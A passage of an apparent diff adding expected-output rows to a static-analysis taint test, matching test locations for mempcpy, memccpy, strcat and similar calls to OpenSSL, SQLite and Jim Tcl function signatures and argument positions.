mempcpy | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,int,size_t) | | WPACKET_memset | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | X509_VERIFY_PARAM_set1_ip | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (char *,const char *,size_t) | | OPENSSL_strlcat | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (char *,const char *,size_t) | | OPENSSL_strlcpy | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const SSL_SESSION *,unsigned char *,size_t) | | SSL_SESSION_get_master_key | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (const unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (int *,int *,size_t) | | EVP_PBE_get | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 2 | +| taint.cpp:548:7:548:13 | memccpy | (BIGNUM *,BIGNUM *,const unsigned char **,size_t) | | ossl_decode_der_dsa_sig | 3 | +| taint.cpp:548:7:548:13 | memccpy | (BIO *,X509 *,unsigned long,unsigned long) | | X509_print_ex | 3 | +| taint.cpp:548:7:548:13 | memccpy | (BIO *,X509_ACERT *,unsigned long,unsigned long) | | X509_ACERT_print_ex | 3 | +| taint.cpp:548:7:548:13 | memccpy | (BIO *,X509_REQ *,unsigned long,unsigned long) | | X509_REQ_print_ex | 3 | +| taint.cpp:548:7:548:13 | memccpy | (BIO *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex | 2 | +| taint.cpp:548:7:548:13 | memccpy | (BIO *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex | 3 | +| taint.cpp:548:7:548:13 | memccpy | (CCM128_CONTEXT *,const unsigned char *,size_t,size_t) | | CRYPTO_ccm128_setiv | 3 | +| taint.cpp:548:7:548:13 | memccpy | (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_decrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_encrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (EVP_KEYMGMT *,void *,char *,size_t) | | evp_keymgmt_util_get_deflt_digest_name | 3 | +| taint.cpp:548:7:548:13 | memccpy | (FILE *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex_fp | 2 | +| taint.cpp:548:7:548:13 | memccpy | (FILE *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex_fp | 3 | +| taint.cpp:548:7:548:13 | memccpy | (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_decrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_encrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (KECCAK1600_CTX *,unsigned char,size_t,size_t) | | ossl_keccak_init | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_decrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_encrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_psk | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t) | | ossl_property_list_to_string | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_PARAM[],size_t,size_t,unsigned long) | | ossl_digest_default_get_params | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t) | | OSSL_PARAM_BLD_push_BN_pad | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_PARAM_BLD *,const char *,const char *,size_t) | | OSSL_PARAM_BLD_push_utf8_string | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_PARAM_BLD *,const char *,const void *,size_t) | | OSSL_PARAM_BLD_push_octet_string | 3 | +| taint.cpp:548:7:548:13 | memccpy | (OSSL_RECORD_LAYER *,size_t,size_t,size_t) | | tls_setup_write_buffer | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cbc | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb8 | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb128 | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_ofb128 | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cbc | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb1 | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb8 | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb128 | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ctr | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ofb128 | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_cbc | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ecb | 3 | +| taint.cpp:548:7:548:13 | memccpy | (RAND_POOL *,const unsigned char *,size_t,size_t) | | ossl_rand_pool_add | 3 | +| taint.cpp:548:7:548:13 | memccpy | (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_decrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_encrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t) | | SSL_shutdown_ex | 3 | +| taint.cpp:548:7:548:13 | memccpy | (SSL_CONNECTION *,unsigned char **,const void *,size_t) | | construct_key_exchange_tbs | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,const void *,size_t,size_t) | | WPACKET_sub_memcpy__ | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_octet_string | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_precompiled | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_allocate_bytes__ | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_reserve_bytes__ | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,uint64_t,const unsigned char *,size_t) | | ossl_quic_wire_encode_transport_param_bytes | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,unsigned char *,size_t,size_t) | | WPACKET_init_static_len | 3 | +| taint.cpp:548:7:548:13 | memccpy | (const ML_DSA_KEY *,int,const uint8_t *,size_t) | | ossl_ml_dsa_mu_init | 3 | +| taint.cpp:548:7:548:13 | memccpy | (const VECTOR *,uint32_t,uint8_t *,size_t) | | ossl_ml_dsa_w1_encode | 3 | +| taint.cpp:548:7:548:13 | memccpy | (const u128[16],uint8_t *,const uint8_t *,size_t) | | ossl_polyval_ghash_hash | 3 | +| taint.cpp:548:7:548:13 | memccpy | (int *,X509 *,stack_st_X509 *,unsigned long) | | X509_chain_check_suiteb | 3 | +| taint.cpp:548:7:548:13 | memccpy | (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_private_key | 3 | +| taint.cpp:548:7:548:13 | memccpy | (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_public_key | 3 | +| taint.cpp:548:7:548:13 | memccpy | (int,const regex_t *,char *,size_t) | | jim_regerror | 3 | +| taint.cpp:548:7:548:13 | memccpy | (int,int,size_t,size_t) | | ossl_rand_pool_new | 3 | +| taint.cpp:548:7:548:13 | memccpy | (u64[2],const u128[16],const u8 *,size_t) | | ossl_gcm_ghash_4bit | 3 | +| taint.cpp:548:7:548:13 | memccpy | (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_add_words | 2 | +| taint.cpp:548:7:548:13 | memccpy | (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_add_words | 3 | +| taint.cpp:548:7:548:13 | memccpy | (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_words | 2 | +| taint.cpp:548:7:548:13 | memccpy | (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_words | 3 | +| taint.cpp:548:7:548:13 | memccpy | (void *,unsigned char *,size_t *,size_t) | | ossl_ccm_stream_final | 3 | +| taint.cpp:548:7:548:13 | memccpy | (void *,unsigned char *,size_t *,size_t) | | ossl_cipher_generic_block_final | 3 | +| taint.cpp:548:7:548:13 | memccpy | (void *,unsigned char *,size_t *,size_t) | | ossl_gcm_stream_final | 3 | +| taint.cpp:558:7:558:12 | strcat | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:558:7:558:12 | strcat | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:558:7:558:12 | strcat | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:558:7:558:12 | strcat | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:558:7:558:12 | strcat | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:558:7:558:12 | strcat | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:558:7:558:12 | strcat | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:558:7:558:12 | strcat | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:558:7:558:12 | strcat | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:558:7:558:12 | strcat | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:558:7:558:12 | strcat | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:558:7:558:12 | strcat | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:558:7:558:12 | strcat | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:558:7:558:12 | strcat | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:558:7:558:12 | strcat | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:558:7:558:12 | strcat | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:558:7:558:12 | strcat | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:558:7:558:12 | strcat | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:558:7:558:12 | strcat | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:558:7:558:12 | strcat | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:558:7:558:12 | strcat | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:558:7:558:12 | strcat | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:558:7:558:12 | strcat | (STANZA *,const char *) | | test_start_file | 1 | +| taint.cpp:558:7:558:12 | strcat | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:558:7:558:12 | strcat | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:558:7:558:12 | strcat | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | test_mk_file_path | 1 | +| taint.cpp:558:7:558:12 | strcat | (int,const char *) | | BIO_meth_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:558:7:558:12 | strcat | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:558:7:558:12 | strcat | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:558:7:558:12 | strcat | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (unsigned long *,const char *) | | set_name_ex | 1 | +| taint.cpp:560:6:560:16 | test_strcat | (PKCS7 *,int,long,char *) | | PKCS7_ctrl | 3 | +| taint.cpp:560:6:560:16 | test_strcat | (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 2 | +| taint.cpp:560:6:560:16 | test_strcat | (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 3 | +| taint.cpp:560:6:560:16 | test_strcat | (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_init | 3 | +| taint.cpp:560:6:560:16 | test_strcat | (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_old_init | 3 | +| taint.cpp:560:6:560:16 | test_strcat | (action **,e_action,symbol *,char *) | | Action_add | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_bio_CMS | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,DH **,pem_password_cb *,void *) | | PEM_read_bio_DHparams | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAPrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSA_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAparams | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_bio_ECPKParameters | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_ECPrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_EC_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_bio | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_bio_NETSCAPE_CERT_SEQUENCE | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_bio_PKCS7 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb 